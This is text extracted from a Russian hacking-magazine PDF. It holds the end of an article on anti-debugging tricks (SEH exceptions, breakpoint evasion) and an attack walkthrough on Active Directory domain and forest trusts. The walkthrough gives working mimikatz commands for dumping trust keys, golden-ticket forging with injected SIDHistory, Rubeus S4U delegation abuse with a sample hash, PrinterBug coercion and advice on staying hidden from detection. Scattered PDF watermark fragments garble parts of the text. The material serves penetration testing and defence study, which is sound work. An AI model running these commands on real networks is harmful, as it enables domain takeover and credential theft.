Такая многословность объясняется тем, что большинство компиляторов выдают ошибку, встретив конструкцию наподобие int a=a/0;. При выполнении деления отладчики, в том числе WinDbg, теряют контроль над отлаживаемой программой и «слетают». Поэтому сюда может быть вставлен для отвода глаз некий код, который никогда не получит управления. Если значение переменным a и b присваивается не непосредственно, а из результата, возвращенного некими функциями, то при дизассемблировании программы их равенство будет не так очевидно. В результате взломщик может потратить много времени на анализ совершенно бесполезного кода.

}

__except(EXCEPTION_EXECUTE_HANDLER)

{

std::cout << "Error";

Этот код получит управление, если возникнет исключение «деление на ноль», но отладчики не распознают такой ситуации. Требуется ручная установка точки останова на первую инструкцию блока __except. А чтобы определить адрес блока __except, требуется разобраться, каким именно образом реализована поддержка SEH в конкретном компиляторе. Что опять же потребует от хакера неприлично много времени.

}

}

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

BUY

 

 

 

to

 

 

 

.co

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

p

df

 

c

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЗАТРУДНЯЕМ АНАЛИЗ ПРОГРАММ

Если попытаться прогнать приведенный пример под WinDbg, достигнув строки int c=c/(a - b), отладчик внезапно «слетит», теряя контроль над отлаживаемым приложением. Хотя оператор cout сработает и строка будет выведена, отладчик, потеряв ориентиры, не сделает остановку на этой строке. Теоретически исправить ситуацию можно заблаговременной установкой точки останова на первую команду блока except, но попробуй-ка вычислить, где расположен этот блок, не заглядывая в исходный текст, которого у хакера заведомо нет!

WinDbg перед возникновением исключения

WinDbg после возникновения исключения теряет контакт с отлаживаемой программой

В идеальном мире после срабатывания исключения WinDbg должен переходить в область кода __except. Посмотрим, как это должно быть. Установим точку останова на адрес начала оператора вывода строки Error — std::cout << "Error";. При этом вообразим, что у нас нет исходного кода отлаживаемого приложения:

bp 00007ff7`64ff230d

И если после остановки на инструкции idiv по F5 продолжить выполнять приложение, отладчик нырнет в блок кода __except и остановится на инструкции загрузки параметра для вывода строки оператором cout.

WinDbg остановился на поставленной вручную точке останова в секции

__except

Прежде чем справиться с такой защитой, взломщику придется основательно изучить реализацию механизма обработки структурных исключений, как на уровне операционной системы, так и на уровне конкретного компилятора. В подавляющем большинстве литературы этот вопрос обходится стороной. И неспроста — реализация SEH действительно очень сложна, громоздка, многословна. Все это приводит к тому, что большинство программистов и технических писателей совершенно не представляют, что находится у нее «под капотом».

Поскольку SEH по-разному реализована в каждом компиляторе, неудивительно, что отладчики отказываются ее поддерживать. Поэтому предложенный вариант защиты очень стоек к взлому и в то же время крайне прост в реализации. А самое важное — он одинаково хорошо работает во всех операционных системах семейства Windows.

Как противостоять контрольным точкам останова

Контрольные точки, установленные на важнейшие системные функции, — мощное оружие в руках взломщика. Пусть, к примеру, защита пытается открыть ключевой файл. Под Windows существует только один документированный способ это сделать — вызвать функцию CreateFile (точнее, CreateFileA или CreateFileW для ASCII- и UNICODE-имени файла соответственно). Все остальные функции, наподобие OpenFile, доставшиеся в наследство от ранних версий Windows, на самом деле представляют собой переходники к CreateFile.

Зная об этом, взломщик может заблаговременно установить точку останова на адрес начала этой функции (благо он ему известен) и мгновенно локализовать вызывающий эту функцию защитный код, ну а остальное, как говорится, дело техники.

Но не всякий взломщик знает, что открыть файл можно и другим путем — вызвать функцию ZwCreateFile (равно как и NtCreateFile), экспортируемую NTDLL.DLL, или обратиться напрямую к ядру вызовом прерывания INT 0x2Eh. Сказанное справедливо не только для CreateFile, но и для всех остальных функций ядра. Причем для этого не нужны никакие привилегии и такой вызов можно осуществить даже из прикладного кода!

Опытного взломщика такой трюк надолго не остановит, но почему бы ему не приготовить один маленький сюрприз, поместив вызов INT 0x2E в блок __try. Это приведет к тому, что управление получит не ядро системы, а обработчик данного исключения, находящийся за блоком __try. Взломщик, не имеющий исходных текстов, не сможет быстро определить, относится ли данный вызов к блоку __try или нет. Отсюда он может быть легко введен в заблуждение — достаточно имитировать открытие файла, не выполняя его на самом деле! Кроме того, ничто не мешает использовать прерывание INT 0x2E для взаимодействия компонентов своей программы — взломщику будет очень непросто отличить, какой вызов пользовательский, а какой системный.

Хорошо, с ядром все понятно, а как же быть с функциями модулей USER и GDI? Например, GetWindowsText, использующейся для считывания введенной пользователем ключевой информации (как правило, серийного номера или пароля)?

На помощь приходит то обстоятельство, что практически все эти функции начинаются с инструкций

PUSH EBP

MOV EBP, ESP

Эти инструкции могут выполнить прикладной код и самостоятельно, передав управление не на начало функции, а на три байта ниже. Поскольку PUSH EBP изменяет стек, приходится прибегать к передаче управления посредством JMP вместо CALL. Контрольная точка, установленная взломщиком на начало функции, не возымеет никакого действия! Такой трюк может сбить с толку даже опытного хакера, хотя рано или поздно он все равно раскусит обман.

Если есть желание окончательно отравить взломщику жизнь, следует скопировать системную функцию в свой собственный стек и передать на него управление — контрольные точки взломщика «отдыхают»! Между тем надо отметить, что современные версии операционных систем могут запрещать выполнение кода на определенных страницах памяти, например в стеке. Эта функция может быть отключена, но стоит иметь ее в виду. Плюс основная сложность заключается в необходимости распознавать все инструкции с относительными адресными аргументами и их соответствующе корректировать.

Например, двойное слово, стоящее после инструкции CALL, представляет собой не адрес перехода, а разность целевого адреса и адреса следующей за CALL инструкции. Перенос инструкции CALL на новое место потребует коррекции ее аргумента. Впрочем, эта задача не так сложна, как может показаться на первый взгляд (глаза страшатся, а руки делают), и результат оправдывает средства. Во-первых, при каждом запуске функции можно произвольным образом менять ее адрес, во-вторых, проверкой целостности кода легко обнаружить программные точки останова — а аппаратных точек на все вызовы просто не хватит!

Разве не заслуживают награды за свою целеустремленность те индивидуумы, которые такую защиту взломают? Под наградой здесь подразумевается отнюдь не сама взломанная программа, а глубокое чувство удовлетворения от того, что «я это сделал!».

Еще легче противостоять аппаратным точкам останова на память, поскольку их всего четыре и каждая может контролировать не более двойного слова. Соответственно, взломщик может одновременно контролировать не более 16 байт памяти. Если же обращения к содержащим ключевую информацию буферам будут происходить не последовательно байт за байтом от начала до конца, а произвольно и количество самих буферов окажется больше четырех, отследить все операции чтения-записи в них станет невозможно.

Некоторые отладчики поддерживают возможность установки точки останова на диапазон памяти, но ее функциональность вызывает большие сомнения. Единственный способ контролировать целый регион — трассировать исследуемую программу, проверяя, не обращается ли очередная команда к отслеживаемому диапазону, и если да — генерировать исключение.

Во-первых, манипулирующих с памятью команд очень много, и можно придумать самые неожиданные комбинации. Например, установить указатель стека на требуемую ячейку памяти и вызвать RET для чтения содержащегося в ней значения. Во-вторых, возникшее при этом исключение может служить хорошим средством избавления от трассировщика (см. раздел «Как противостоять трассировке»).

Таким образом справиться с контрольными точками защитному механизму совсем нетрудно!

Точки останова

Контрольная точка (или «бряк» на хакерском жаргоне) представляет собой однобайтовую команду 0xCC, генерирующую исключение 0x3 при попытке ее выполнения (в просторечии «дергающее отладочным прерыванием»). Обработчик INT 0x3 получает управление и может делать с программой абсолютно все, что ему заблагорассудится, но прежде — до вызова прерывания — в стек заносятся текущие регистр флагов, указатель кодового сегмента (регистр CS), указатель команд (регистр IP), запрещаются прерывания (очищается флаг IF) и сбрасывается флаг трассировки — словом, вызов отладочного прерывания не отличается от вызова любого прерывания.

Состояние стека на момент входа в обработчик прерывания

Чтобы узнать, в какой точке программы произошел останов, отладчик извлекает из стека сохраненное значение регистров, не забывая о том, что CS:IP указывают на следующую выполняемую команду.

Стоит отметить, что описанный выше вариант адресации команд в процессорах на архитектуре x86_64 работает в режиме совместимости. То есть IP — 16-разрядный регистр, имевший место в самых ранних микропроцессорах линейки 8086. В процессорах марки 80386 регистр был расширен до 32 бит и получил название EIP, при этом доступ к младшей 16-разрядной части остался. В остальном же указатель команд работал по прежнему принципу.

Вместе с выпуском процессоров на расширенной архитектуре AMD64 регистр указателя команд расширился до 64 бит и стал называться RIP. Доступ к обеим младшим частям был оставлен для обратной совместимости. Это стало называться режимом совместимости. Между тем одной из целей, преследуемых при проектировании новой архитектуры, было избавление от сегментов кода, данных (CS, DS) и прочих. Поэтому в 64-раз- рядные процессоры был введен новый метод адресации RIP-relative (RIP-отно- сительная адресация). В этом режиме сегмент кода не используется и вся арифметика с указателем выполняется относительно значения регистра RIP следующей команды.

Условно точки останова (называемые также контрольными точками) можно разделить на две категории: точки останова, жестко прописанные в программе самим разработчиком, и точки динамические, устанавливаемые отладчиком. Ну, с первыми все ясно: хочешь остановить программу и передать управление отладчику в таком-то месте — пишешь __asm {int 0x3}.

Несколько сложнее установить точку в произвольное место программы: сначала отладчик должен сохранить текущее значение ячейки памяти по указанному адресу, затем записать сюда код 0xCC, а перед выходом из отладочного прерывания вернуть все на место и модифицировать сохраненный в стеке IP для перемещения его на начало восстановленной команды (иначе он будет указывать на ее середину).

Какими недостатками обладает механизм точек останова процессора 8086? Первое и самое неприятное состоит в том, что отладчик, устанавливая точку останова, вынужден непосредственно модифицировать код.

Причем WinDbg неявно помещает точку останова в начало каждой следующей команды при трассировке программы по Step Over (клавиша F10)! Разумеется, это искажает контрольную сумму, чем и пользуется защита. Этот эффект мы могли наблюдать, разбирая пример cipherString.

Самое простое решение проблемы — положить кирпич на клавишу F8 (покомандная трассировка — Step Into) и идти пить чай, пока программа будет расшифровываться. Шутка, конечно. А если говорить серьезно, то необходимо вспомнить, в каком веке мы живем, и, отбросив каменные топоры, установить аппаратную точку останова!

ИТОГИ

Мы изучили варианты «побега из-под отладчика», другими словами — рассмотрели методы противостояния отладочным механизмам, а также узнали, каким образом можно защитить свою программу от постороннего исследования и вмешательства в ее работу извне. Получилось, что на каждый отладочный механизм имеется по меньшей мере одно средство противодействия.

Обладая современными средствами, любую защиту можно взломать, поэтому главная задача разработчика защиты — запутать хакера, ввести его в заблуждение, чтобы жизнь медом не казалась и ценность временного промежутка, необходимого для взлома защиты, стала бы выше ценности результата взлома.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК РАБОТАЮТ АТАКИ НА ДОВЕРЕННЫЕ ОТНОШЕНИЯ ДОМЕНОВ И ЛЕСОВ AD

Active Directory позволяет строить сети со сложной архитектурой, включающей несколько доменов и лесов, которые поддерживают определенную иерархию взаимного доверия. Подобные системы неидеальны с точки зрения безопасности, и, хорошо разбираясь в их устройстве, взломщик может получить к ним несанкционированный доступ. В этой статье мы разберем несколько видов атак на отношения доменов и лесов в Active Directory.

MichelleVermishelle

17 y.o. | TG - @cXest XlaXvie michael.zhmailo@yandex.ru

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.

Множество компаний использует среду Active Directory для администрирования сети своей организации. Компании растут, домен расширяется, и рано или поздно наступает момент, когда требуется создать в домене другие домены, чтобы разграничить пользователей, обязанности, да и, в конце концов, позаботиться о безопасности.

Допустим, у нас есть компания MISHA Corporation. У нее может быть домен misha.local для администраторов, bank.misha.local для финансового отдела, dev.misha.local для разработчиков и так далее.

Доверие между двумя доменами может быть двусторонним — пользователи домена bank.misha.local могут получать доступ к ресурсам dev.misha. local, а пользователи dev.misha.local — к bank.misha.local. А может быть односторонним — в таком случае лишь пользователи одного определенного домена имеют доступ к ресурсам другого. Допустим, учетные записи домена dev.misha.local могут ходить в домен bank.misha.local, а вот пользователи bank.misha.local в dev.misha.local не могут.

Наша прекрасная компания продолжает расширяться и покупает другую компанию, назовем ее MYCRASOFT Corporation. У этой фирмы также есть домен — mycra.local, в нем имеются пользователи, сервисы, группы. Все настроено и отлично работает. Само собой, теперь пользователям домена misha хотелось бы получить доступ к этому домену. Здесь мы плавно переходим к понятию леса.

Лес — самая крупная структура в AD. Внутри леса находятся деревья — некий набор доменов (misha.local, bank.misha.local, dev.misha.local).

Между лесами также можно настроить как одностороннее, так и двустороннее доверие.

Мы рассмотрим безопасность этих доверенных отношений. Опишем набор атак — от простых к сложным — и разберем такие темы, как SID Filtering, PAM Trust, TGT Delegation.

Когда я пишу «между лесами», я имею в виду атаку, которая выполняется из одного леса на другой, например misha.local <-> priv.local. Если я пишу «между доменами», то я имею в виду атаку между деревьями (dev. misha.local <-> misha.local). Чтобы понимать, о чем тут идет речь, читателю нужно разбираться в Kerberos, делегировании, а также иметь базовые знания в Active Directory, так как статья не предполагает объяснение этих технологий, а лишь рассматривает их возможные недостатки.

РАЗВЕДКА

Сначала предлагаю определить масштаб проблемы. Иногда мы будем использовать PowerView и Active Directory Module для перечисления объектов.

Ëåñà

Выявить все отношения между лесами поможет встроенный инструмент nltest:

nltest /domain_trusts

Nltest

Из вывода мы видим, что в исследуемой сети целых три леса. Между ними всеми установлено двустороннее доверие, а production.local имеет атрибут enable_tgt, о котором мы поговорим немного позже.

Соберем чуть больше информации с помощью следующих инструментов:

# Получить информацию о лесе

#PowerView Get-Forest

Get-Forest -Forest priv.local

#AD Module

Get-ADForest

Get-ADForest -Identity priv.local

#Получить все домены в лесе

#PowerView

#PowerView v3 Get-ForestDomain

Get-ForestDomain -Forest priv.local

#PowerView v2

Get-NetForestDomain -Verbose

Get-NetForestDomain -Forest priv.local

# AD Module

(Get-ADForest).Domains

Домены

Конечно же, мы можем использовать nltest с приведенным выше синтаксисом, чтобы узнать отношения и внутри леса, но рассмотрим вариант с PowerView

и AD Module:

# PowerView

#v3

Get-DomainTrust

Get-DomainTrust -Domain priv.local

Get-DomainTrust -SearchBase GC://priv.local

# v2

Get-NetDomainTrust -Domain priv.local

# Найти все внешние (external) доверия в текущем лесе

Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}

# AD Module

Get-ADTrust

Get-ADTrust -Identity priv.local

Полученный нами вывод показывает связи и отношения внутри леса в исследуемой сети.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

c

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

КАК РАБОТАЮТ АТАКИ НА ДОВЕРЕННЫЕ ОТНОШЕНИЯ

ДОМЕНОВ И ЛЕСОВ AD

TRUST KEYS

Домены

Обеспечивает безопасность специальный ключ — ключ доверия, который автоматически генерируется при создании отношений. При установлении доверия в каждом домене создается связанный пользовательский объект для хранения ключа доверия. Имя пользователя — это NetBIOS-имя другого домена, которое заканчивается символом $ (аналогично имени учетной записи компьютера). Например, в случае доверия между доменами misha.local и mycra.local домен misha будет хранить ключ доверия в пользователе mycra$, а домен mycra будет хранить его в пользователе misha$.

Мы можем извлечь этот ключ, сдампив ntds.dit, например с помощью mimikatz (мы должны находиться в высокопривилегированном контексте):

privilege::debug

lsadump::trust /patch

Также ключ можно извлечь из хранилища lsa:

lsadump::lsa /patch

Между доменами по умолчанию всегда применяется шифрование AES, а между лесами — RC4. В связи с этим мы должны использовать хеш NTLM, если генерируем билет для дальнейшего продвижения по лесам. И, соответственно, ключ AES, если перемещаемся между доменами.

Резонный вопрос: зачем так ухищряться, если при использовании NTLM просто произойдет даунгрейд до RC4? Ответ прост: генерировать билет подобным образом следует для большей скрытности от систем защиты. Современные СЗИ умеют детектировать понижение шифрования «Кербероса» до RC4, в связи с этим используй AES, если желаешь оставаться невидимкой.

Генерировать билет для доступа к ресурсам другого домена или леса можно вот так:

kerberos::golden /domain:<текущий домен> /sid:<

SID_текущего_домена> /sids:<SID_enterprise_admins корневого или

атакуемого домена> /rc4:<domain_trust_key> /user:<на чье имя

билет> /service:<на какой сервис> /target:<FQDN целевого домена> /

ticket:ticket.kirbi

kerberos::golden /domain:priv.local /sid:S-1-5-21-210670787-

2521448726-163245708 /sids:S-1-5-21-2781415573-3701854478-

2406986946-519 /rc4:e5051441f6b1b81bc9de55f1ef3eda26d /user:

Administrator /service:krbtgt /target:megabank.local /ticket:

ticket.kirbi

Зачем нам нужна опция /sids? Это называется атакой SIDHistory. Если очень коротко, то данный атрибут служит для сценариев миграции. Мы записываем в билет, что пользователь, указанный флагом /user, принадлежит группе с SID, указанной с помощью /sids. В ней лучше всего указывать SID группы Enterprise Admins, полученный с корневого либо атакуемого домена (домен dev.misha.local, корневой для него — misha.local). Сделать это можно вот так:

dsquery * "CN=Enterprise Admins,CN=Users,DC=megabank,DC=local" -

attr objectsid

# AD Module

Get-ADGroupMember -Identity 'Enterprise Admins' -Server megabank.

local

# PowerView

Get-DomainGroup -Identity 'Enterprise Admins' -Domain megabank.

local | select ObjectSid

Наконец, используя полученный тикет, можно запрашивать TGS на сервисы другого домена:

.\Rubeus.exe asktgs /ticket:ticket.kirbi /service:CIFS/dc.

megabank.local /dc:dc.megabank.local /ptt

Ëåñà

А теперь пора поговорить о подводных камнях. Казалось бы, в атаке нет ничего сложного. Да, действительно, между доменами она сработает без проблем, но, как только мы начнем атаковать леса, столкнемся с раздражающим Access Denied. Помнишь ли ты про опцию /sids? Наша беда заключается именно в ней.

Возможно, мы сумеем получить доступ к каким-либо ресурсам в другом лесе, но зачастую количество этих ресурсов будет ограничено, если у нас вообще что-то получится. Проблема кроется в так называемом SID Filtering — специальной системе, которая фильтрует из SIDHistory пересекающие границу леса SID с высокими привилегиями, не позволяя получить доступ куда-либо. У группы Enterprise Admins по умолчанию RID составляет 519. Да и в принципе у всех более-менее привилегированных групп RID < 1000. Ты уже догадался, как мы будем обходить это ограничение?

Сначала предлагаю проверить наличие этого самого SID Filtering:

# AD Module

Get-ADTrust -Filter *

Значение SIDFilteringForestAware установлено в True. В связи с этим мы должны будем найти группы, у которых RID > 1000. Эти группы мы внедрим в SIDHistory и сможем получить доступ к другому лесу.

Искать можно следующим образом:

# AD Module

Get-ADGroup -Filter 'SID -ge "<SID атакуемого леса>-1000"'

-Server <атакуемый лес>

Видим интересную группу EUAdmins с SID S-1-5-21-4066061358-

3942393892-617142613-1103, поэтому генерируем тикет, как описано выше, но указывая в SIDHistory SID этой группы.

Выдаем себя за контроллер домена

Теперь ты знаешь, что такое SIDHistory, поэтому мы можем даже выдать себя за контроллер домена:

kerberos::golden /user:<имя УЗ текущего ДК> /domain:<текущий

домен> /sid:<SID текущего домена> /groups:516 /krbtgt:<krbtgt-хеш

текущего домена> /sids:<SID группы Domain Controllers>,S-1-5-9 /

ptt

Опцией /groups:516 мы указали RID группы контроллеров домена, а /sids: S-1-5-9 — группа Enterprise Domain Controllers. Ты можешь поэкспе-

риментировать со стандартными SID, их структуры представлены здесь.

Неограниченное делегирование

Как я уже сказал, не буду вдаваться в теоретические подробности неограниченного делегирования — у «Хакера» есть прекрасный цикл статей по безопасности AD от автора Ralf Hacker, который рассматривает эту технологию в том числе. Мы же взглянем на нее как на дополнительный вектор атаки на отношения.

Между доменами

По умолчанию на всех контроллерах домена включено неограниченное делегирование. В связи с этим мы можем «заставить» атакуемый контроллер домена обратиться к нашим ресурсам, допустим с помощью PrinterBug или PetitPotam. Синтаксис будет примерно следующий:

# Запускаем монитор «Рубеуса»

Rubeus.exe monitor /targetuser:dc01$ /internal:5 /nowrap

# Триггерим PrinterBug

MS-RPRN.exe \\<атакуемый КД> \\<наш КД с неограниченным

делегированием>

MS-RPRN.exe \\dc01.megabank.local \\dc02.priv.local

Между лесами

Здесь нас опять будут поджидать сюрпризы! Не так давно Microsoft озаботилась этой проблемой. Согласись, как-то не очень хорошо, если хакеры ломают маленький лес компании mycra.local, а потом перебрасываются на большой — misha.local. Поэтому появился механизм TGT Delegation. Если очень коротко, то этот механизм предотвращает хождение контроллера домена со своим TGT в другой лес, поэтому его бесполезно триггерить с помощью PrinterBug, PetitPotam или любым другим способом.

Сначала требуется обнаружить, включен ли TGT Delegation (вдруг еще не все так плохо?):

netdom trust <атакуемый лес> /domain:<текущий лес> /

EnableTgtDelegation

# AD Module

Get-ADTrust -server <атакуемый лес> -Filter *

Get-ADTrust -Filter {Direction -eq "Inbound"} | ft Name,

TGTDelegation

Нам повезло — production.local использует TGT Delegation. Значит, мы можем триггерить контроллер этого домена на наш контроллер, хотя по умолчанию включена настройка TGTDelegation: False.

Поэтому КД домена megabank.local мы не сможем заставить сходить к нам. Также если мы каким-то образом получили доступ с правами ДА/ЛА на ата-

куемом КД, то мы можем принудительно включить TGT Delegation, что сделает лес уязвимым:

netdom trust <текущий (атакуемый) лес> /domain:<лес, из которого

будем атаковать> /EnableTGTDelegation:Yes

netdom trust megabank.local /domain:priv.local /

EnableTGTDelegation:Yes

После не забудь отключить следующие функции:

netdom trust megabank.local /domain:priv.local /

EnableTGTDelegation:No

Ограниченное делегирование

С ограниченным делегированием все достаточно просто. Сначала ищем нужные УЗ в другом домене/лесе:

# PowerView

Get-DomainUser –TrustedToAuth -Domain eu.local

Get-DomainComputer –TrustedToAuth -Domain eu.local

# AD Module

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -

Properties msDS-AllowedToDelegateTo -Server eu.local

Видим, что некоему storagesvc разрешено делегировать time/EU-DC.eu. local. При этом, напоминаю, сервисная часть билета не подписывается. Как следствие, мы можем изменить time на cifs или ldap:

Rubeus.exe s4u /user:<юзер с ограниченным делегированием> /rc4:<

хеш юзера с ограниченным делегированием> /impersonateuser:<чей

билет хотим получить> /domain:<атакуемый домен> /msdsspn:<сервис>/

<комп, на который разрешено делегирование> /altservice:<на какой

еще сервис хотим получить доступ> /dc:<dc атакуемого домена> /ptt

Rubeus.exe s4u /user:storagesvc /rc4:

5C76877A9C454CDED58807C20C20AEAC /impersonateuser:Administrator /

domain:eu.local /msdsspn:cifs/eu-dc.eu.local /altservice:ldap /dc:

eu-dc.eu.local /ptt

PAM TRUST

Privileged Access Management был представлен в Windows Server 2016. По мне-

нию Microsoft, он помогает «смягчить проблемы безопасности в средах Active Directory». Сейчас мы обратимся к сайту Microsoft, разберем этот механизм, а потом рассмотрим, как можно обойти ограничения.

PAM представляет собой дополнительный лес администраторов (лес Bastion). К данному лесу настроено доверие PAM Trust от другого леса (лес

Corp). А управление ведется с помощью MIM (Microsoft Identity Management). MIM создает дополнительные теневые принципалы безопасности (shadow security principal) в лесе Bastion — это группы, пользователи и компьютеры, которые сопоставляются с теми же группами, пользователями и компьютерами в лесе Corp (то есть в лесе, который доверяет Bastion по PAM Trust). Это позволяет управлять другими лесами без изменений в ACL и без интерактивного входа в систему.

Обнаружение

Обнаружить PAM-доверие несложно. Оно всегда одностороннее — к лесу администраторов из обычного леса. Под обычным лесом я подразумеваю просто какой-то лес, который управляется лесом администраторов. У такого доверия в свойствах EnableSIDHistory и EnablePIMTrust указано значение yes. Первое позволяет вставлять SID обычного леса в билеты леса администраторов, второе — использовать SID даже с высокими привилегиями (например, Enterprise Admins). Благодаря этому автоматически обходится SID

Filtering.

Проверка, не в бастионном лесе ли мы

Если вдруг мы скомпрометировали лес администраторов (Bastion), то мы также сможем получить доступ ко всем обычным лесам, которыми управляет этот лес (в нашем примере это лес Corp).

Мы можем проверить, не находимся ли мы в лесе администраторов. У этого леса имеются следующие признаки: для доверия ForestTransitive уста-

новлено значение True, в SIDFilteringQuarantined False (что означает,

что фильтрация SID отключена), а также у него есть нужные атрибуты доверия:

# AD Module

Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (

SIDFilteringQuarantined -eq $False)}

Чтобы нам было проще отличить PAM Trust, рассмотрим два примера.

Здесь мы видим, что bastion.local имеет Outbound-доверие к techcorp. local. То есть пользователи techcorp.local могут получать доступ к ресурсам bastion.local. Это не PAM Trust. Это просто лес с транзитивным доверием и отключенной фильтрацией SID.

Второй пример.

Здесь мы видим, что bastion.local имеет Inbound-доверие от production. local. То есть пользователи bastion.local могут получать доступ к ресурсам production.local. Это уже похоже на PAM Trust. Внимательный читатель спросит: «Миша, а что за атрибуты доверия?» Мы рассмотрим их позже.

Чтобы быть уверенными, что мы действительно находимся в бастионном лесе, мы должны попробовать перечислить shadow security principals. Эти объекты создаются в специальном контейнере. Если объекты есть, это значит, что наше предположение верно:

# AD Module

Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,

CN=Services," + (Get-ADRootDSE).configurationNamingContext) -

Filter * -Properties * | select Name,member,msDS-

ShadowPrincipalSid | fl

Вывод на скриншоте выше подтверждает наши догадки. Мы видим, что перед нами группа prodforest-ShadowEnterpriseAdmin, а участником этой группы является пользователь Administrator домена bastion.local. Но стоит отметить, что членство в таких группах непостоянное. Если вывод пуст, мы должны время от времени проверять, какой пользователь добавился в эту группу. Также можно обратить внимание на группу msDS-ShadowPrincipalSid. Как мы видим, у этой группы rid 519, что соответствует стандартному RID

группы Enterprise Admins.

Проверяем, не управляется ли текущий лес каким-то другим по PAM Trust

Мы также можем выяснить, управляется ли наш текущий лес бастионным лесом. Перечислим все трасты, которые могут быть похожи на PAM Trust:

# AD Module

Get-ADTrust -Filter {(ForestTransitive -eq $True)}

Мы видим, что production.local имеет Outbound-доверие к bastion.local,

то есть доверяет ему. Теперь стоит обратить внимание на TrustAttributes. На PAM Trust будут указывать два значения:

1024 (0x00000400) — доверие PAM Trust и External Trust (внешнее доверие);

1096 — это и PAM Trust, и External Trust (внешнее доверие), и Forest Transitive.

Также PAM Trust всегда односторонний (от обычного леса к лесу админов). Если мы сомневаемся, PAM Trust ли это, то можем попробовать узнать ОС контроллеров домена леса, которому доверяет наш лес. Если это Windows Server 2016 и выше, то возможен PAM Trust, если ниже, то абсолютно точно нет.

Дополнительные проверки и новые угрозы

Если ты посмотрел в документации Microsoft, как создавать PAM Trust, то, скорее всего, заметил следующие команды:

import-module activedirectory

$sp = ConvertTo-SecureString "Pass@word1" –asplaintext –force

New-ADUser –SamAccountName MIMMA –name MIMMA

....

Этой командой создаются дополнительные служебные пользователи в лесе администраторов, которые требуются для управления MIM.

Если в домене присутствует один из следующих пользователей, это намного увеличивает шансы того, что перед нами лес администраторов:

# PowerView

# v2

Get-NetUser -Domain priv.local

# v3

Get-DomainUser -Domain priv.local

# AD Module

Get-ADUser -Filter * -Properties * -Server priv.local

MIMMA <- 100% лес админов

MIMMonitor <- 100% лес админов

MIMComponent <- 100% лес админов

MIMSync <- 100% лес админов

MIMService <- 100% лес админов <- Входит в группу ДА

MIMAdmin <- 100% лес админов

SharePoint <- Входит в группу ДА

SqlServer

BackupAdmin

